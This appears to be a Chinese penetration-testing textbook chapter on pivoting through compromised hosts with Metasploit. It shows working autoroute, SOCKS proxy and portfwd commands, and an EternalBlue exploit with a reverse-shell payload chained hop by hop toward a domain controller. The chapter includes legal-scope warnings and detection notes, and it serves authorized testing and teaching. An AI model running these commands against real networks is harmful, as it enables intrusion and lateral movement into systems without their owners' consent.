本节摘要:SOURCE 5.1:
route add、socks_proxy、autoroute;通过 compromised 主机扫描内网新段。
突破边界只是开始。边缘主机后面的内网(DMZ、业务网段、数据库区)往往不可直接路由——这才是真正的主战场。先建立一条通往内网的逻辑通道:
meterpreter > run autoroute -s 10.10.10.0/24 # [*] Adding a route to 10.10.10.0/255.255.255.0... # [+] Added route to 10.10.10.0/24 via 192.168.56.10 meterpreter > background use auxiliary/server/socks_proxy set SRVPORT 1080 run -j # [*] Started SOCKS proxy on 0.0.0.0:1080
# 另一终端:通过 SOCKS 代理扫描内网 proxychains nmap -sT -Pn -p445 10.10.10.5 # [proxychains] Dynamic chain ... 127.0.0.1:1080 ... 10.10.10.5:445 # 445/tcp open microsoft-ds
SOURCE:纵向移动是「以 session 为跳板」而非直连内网。autoroute 把 MSF 框架内的流量送进内网,socks 把外部工具也接上这条隧道。
攻击者的主机访问内网 IP(如 10.10.10.5)时,默认网关无法路由——该网段不在本地局域网。autoroute 在 MSF 框架内部建立一张逻辑路由表:匹配到动态路由的流量,封装进 Meterpreter 通道发给跳板机,由跳板机以内网身份发出请求。
meterpreter > run autoroute # [*] Active routes # Subnet Netmask Gateway # ------ ------- ------- # 10.10.10.0 255.255.255.0 Session 1
# 手动添加/查看路由 meterpreter > run post/multi/manage/autoroute -s 10.10.10.0/24 meterpreter > route print # 列表显示 Session 网关 meterpreter > route del 10.10.10.0/24 # 删除路由
注意:autoroute 不写系统永久路由,只在 MSF 层生效。对内网目标而言,发起请求的 IP 是跳板机——源地址天然隐藏。
动态路由只服务 MSF 内部流量,Nmap、sqlmap、浏览器等外部工具感知不到。SOCKS 代理解决"全平台运输"问题:
use auxiliary/server/socks_proxy set SRVPORT 1080 set VERSION 4a run -j
# proxychains 配置(示例:/etc/proxychains4.conf 末行) # socks4 127.0.0.1 1080 proxychains nmap -sT -Pn 10.10.10.0/24 proxychains curl http://10.10.10.5/
流量路径:本地工具 → SOCKS 1080 → MSF 查动态路由 → Meterpreter 隧道 → 跳板机 → 内网目标。多级网络就构建代理链:攻击者 → Web 跳板 → 应用跳板 → 数据库,层层接力。
SOCKS 适合通用访问,但对 RDP/SMB 等敏感协议,portfwd 更稳定、痕迹更少:
meterpreter > portfwd add -L 127.0.0.1 -l 33890 -r 10.10.10.5 -p 3389 meterpreter > portfwd list # 0: tcp 127.0.0.1:33890 -> 10.10.10.5:3389
# 本地连接转发端口(示例:远程桌面) # rdesktop 127.0.0.1:33890
| 技术 | 用途 | 适用场景 |
|---|---|---|
| autoroute | MSF 内部流量路由 | 用 MSF 模块打内网 |
| SOCKS | 外部工具接入 | Nmap/sqlmap/浏览器 |
| portfwd | 点对点服务转发 | RDP/SMB/SSH 交互 |
实操上通常"混合策略":通用扫描与 Web 访问走 SOCKS,关键服务交互走 portfwd。
穿透内网后,第一步不是急着打,而是用代理链做信息收集:扫描新网段的 445、22、3389,识别可作为"二级跳板"的主机。拿到二级跳板权限后,在其 Meterpreter 里再加一条动态路由指向更深网段——循环往复,直至触及核心资产(如域控制器)。
# 二级跳板示意 meterpreter(Session 2,位于 10.10.10.5)> run autoroute -s 172.16.0.0/16 # 新增更深网段路由,网关指向 Session 2
# 每一跳都记录在案(报告素材) sessions -l -v # Via 字段显示每个会话的来源 exploit # 逐跳记录:入口点 → 跳板 1 → 跳板 2 → 核心资产
⚠️ 法律:autoroute 仅授权网段;跨未授权边界违法。每一条路由、每一次内网探测,都必须落在授权范围文档内。
💡 关键直觉:内网移动 = 路由表 + 凭据 + 新 exploit 三件套。路由决定"能不能到",凭据决定"用什么身份到",exploit 决定"到了之后拿下什么"。
route print 随时复查把三种技术组合起来,就是标准的纵向移动场景。以"Web 区 → 应用区 → 数据库区"三层隔离为例:
# 第 1 级:边缘 Web 机(192.168.56.10) meterpreter > run autoroute -s 10.10.10.0/24 meterpreter > background use auxiliary/server/socks_proxy set SRVPORT 1080 run -j # 外部工具经代理扫描应用区 # proxychains nmap -sT -Pn 10.10.10.0/24 # 发现 10.10.10.5 开放 445 # 第 2 级:拿下应用区主机 10.10.10.5(新 session 2) use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.10.10.5 set payload windows/meterpreter/reverse_tcp run # 获得 session 2 sessions -i 2 run autoroute -s 172.16.0.0/16 # 新增更深网段路由,网关指向 session 2
# 路由表叠加效果 Subnet Netmask Gateway 10.10.10.0 255.255.255.0 Session 1 172.16.0.0 255.255.0.0 Session 2
每一级都重复同一套动作:新增路由 → 扫描 → 拿新会话 → 再新增路由。直到核心资产(如域控 172.16.10.1)出现在可达范围内。
高频繁 SOCKS 代理流量、异常端口转发、Meterpreter 通信心跳,都可能触发企业流量检测设备。高级对抗开始使用 DNS 隧道、ICMP 隧道、HTTPS 伪装等隐蔽通道——但它们的本质仍是"路由 + 代理":
对抗演进(教学理解) 基础:TCP 反向连接 → 特征明显 进阶:HTTPS 伪装 → 混淆内容,行为仍可建模 前沿:DNS/ICMP 隧道 → 藏进看似正常的协议
防御者不必逐一对抗每种通道,而是抓住共性:异常内网探测来源、非常规端口外联、跳板机的双向流量不对称。本书只到"路由 + 代理 + 转发"三件套为止,足够覆盖绝大多数授权渗透场景。
| 现象 | 原因 | 对策 |
|---|---|---|
| 路由加了但扫描无响应 | 会话断开/路由被清 | route print 复核,sessions -l 确认存活 |
| proxychains 报错 | 代理配置或版本不匹配 | 核对 socks_proxy 端口与 proxychains.conf |
| portfwd 连不上 | 内网目标端口未开 | 先经代理 nmap 确认端口 |
| 横向 exploit 无 session | LHOST 回连路径不通 | 检查跳板是否可达监听器 |
# 快速自检三连 route print # 路由在吗 sessions -l # 会话活着吗 jobs -l # socks 代理在跑吗
纵向移动路径必须完整记录,这是工程化(5.1)的要求:
攻击路径记录模板 入口: 192.168.56.10 (exploit: ms17_010, 时间戳) 跳板1: 10.10.10.5 (exploit: ms17_010 via autoroute, 时间戳) 目标: 172.16.10.1 (域控, 计划后续动作) 每跳附带: session ID、来源模块、获取的凭证、loot 编号
有了逐跳记录,报告里的攻击路径图就有据可查,清理清单也能逐一对应。